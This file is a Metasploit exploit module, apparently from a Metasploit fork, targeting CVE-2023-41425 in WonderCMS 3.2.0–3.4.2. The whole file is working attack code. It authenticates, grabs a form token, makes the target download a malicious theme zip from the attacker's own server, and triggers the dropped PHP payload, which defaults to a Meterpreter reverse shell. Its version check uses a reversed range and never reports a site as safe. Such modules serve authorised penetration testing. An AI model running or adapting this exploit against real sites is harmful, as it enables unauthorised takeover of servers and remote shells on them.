Files
metasploit-gs/modules/exploits/multi/http/wondercms_rce.rb
T
2025-04-30 17:58:15 +02:00

177 lines
5.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WonderCMS Remote Code Execution',
'Description' => %q{
This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2.
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7', # msf module
'Milad "Ex3ptionaL" Karimi' # original exploit
],
'References' => [
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'],
[ 'URL', 'https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413'],
[ 'CVE', '2023-41425'],
[ 'EDB', '52271']
],
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2023-11-07',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']),
OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']),
OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', true])
])
end
def login
return if @logged_in
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/loginURL'),
'keep_cookies' => true,
'vars_post' => {
'password' => datastore['PASSWORD']
}
})
fail_with(Failure::NoAccess, 'Incorrect credentials') unless res&.code == 302 && !res.headers&.fetch('Location', '')&.include?('loginURL')
@logged_in = true
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/how-to')
})
return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200
return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS')
vprint_status('Target is probably WonderCMS..')
login
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
html_document = res.get_html_document
html_document.xpath('//a[@href="https://wondercms.com"]').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ }
version = Rex::Version.new(Regexp.last_match(1))
return Exploit::CheckCode::Unknown('Unable to get version') unless version
return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0'))
return Exploit::CheckCode::Vulnerable("Version #{version} is affected")
end
def create_vulnerable_zip
@payload_filename = "#{Rex::Text.rand_text_alphanumeric(3..12)}.php"
files =
[
{ data: payload.encoded, fname: @payload_filename }
]
@vuln_zip = Msf::Util::EXE.to_zip(files)
register_file_for_cleanup(@payload_filename) if datastore['CLEANUP']
end
def on_request_uri(cli, _request)
print_status('Received request, sending payload..')
send_response(cli, @vuln_zip)
end
def install_malicious_component
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
html_document = res.get_html_document
@token = html_document.at("input[@name='token']").attributes.fetch('value', nil)
return Exploit::CheckCode::Unknown('Failed to get token') unless @token
send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}")
})
end
def exploit
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end
login
create_vulnerable_zip
@zip_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.zip"
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => "/#{@zip_filename}"
}
})
install_malicious_component
send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/themes/#{@payload_filename}")
})
end
end